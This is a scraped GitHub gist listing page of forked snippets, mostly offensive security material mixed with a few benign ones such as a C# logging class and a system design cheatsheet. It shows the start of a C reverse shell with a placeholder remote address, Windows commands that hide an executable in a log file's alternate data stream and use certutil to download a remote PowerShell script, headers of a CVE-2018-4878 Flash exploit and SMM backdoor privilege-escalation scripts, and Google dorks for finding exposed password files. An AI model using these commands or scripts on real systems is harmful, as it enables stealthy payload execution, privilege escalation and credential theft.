Skip to content

Instantly share code, notes, and snippets.

View SkyN9ne's full-sized avatar
💚

SkyN9ne SkyN9ne

💚
View GitHub Profile
@SkyN9ne
SkyN9ne / reverse_shell.c
Created September 4, 2022 02:09 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
@SkyN9ne
SkyN9ne / Exe_ADS_Methods.md
Created August 18, 2022 02:55 — forked from api0cradle/Exe_ADS_Methods.md
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

Option 1: Command-line download extension as zip and extract

extension_id=jifpbeccnghkjeaalbbjmodiffmgedin   # change this ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" 
unzip -d "$extension_id-source" "$extension_id.zip"

Thx to crxviewer for the magic download URL.

@SkyN9ne
SkyN9ne / loadswf.as
Created July 27, 2022 19:53 — forked from kbandla/loadswf.as
CVE-2018-4878 ActionScript for pre-decrypted SWF
package
{
import flash.display.Loader;
import flash.display.Sprite;
import flash.events.Event;
import flash.events.IOErrorEvent;
import flash.events.SecurityErrorEvent;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.system.Capabilities;
using Microsoft.Extensions.Logging;
using System;
namespace Masticore
{
/// <summary>
/// Utility class for logging
/// </summary>
public static class LogUtils
{
@SkyN9ne
SkyN9ne / System Design.md
Created July 21, 2021 06:59 — forked from vasanthk/System Design.md
System Design Cheatsheet

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

  1. Clarify and agree on the scope of the system
  • User cases (description of sequences of events that, taken together, lead to a system doing something useful)
    • Who is going to use it?
    • How are they going to use it?
#!/usr/bin/env python
import sys, os, time, platform, ctypes
from struct import pack, unpack
from optparse import OptionParser, make_option
import smm_backdoor as bd
# how many seconds to wait for VM exit occur
VM_EXIT_WAIT = 3
@Cr4sh
Cr4sh / smm_backdoor_privesc_win.py
Created June 16, 2021 19:34
Example program that uses SMM backdoor for local privileges escalation under the Windows
#!/usr/bin/env python
import sys, os, platform, ctypes, ctypes.wintypes
from struct import pack, unpack
import smm_backdoor as bd
# MSR register used by swapgs
IA32_KERNEL_GS_BASE = 0xc0000102
@Cr4sh
Cr4sh / smm_backdoor_privesc_linux.py
Last active May 22, 2024 02:17
Example program that uses SMM backdoor for local privileges escalation under the Linux
#!/usr/bin/env python
import sys, os, platform, ctypes
from struct import pack, unpack
import smm_backdoor as bd
try:
import capstone
admin account info" filetype:log
!Host=*.* intext:enc_UserPassword=* ext:pcf
"# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd
"AutoCreate=TRUE password=*"
"http://*:*@www&#8221; domainname
"index of/" "ws_ftp.ini" "parent directory"
"liveice configuration file" ext:cfg -site:sourceforge.net
"parent directory" +proftpdpasswd
Duclassified" -site:duware.com "DUware All Rights reserved"
duclassmate" -site:duware.com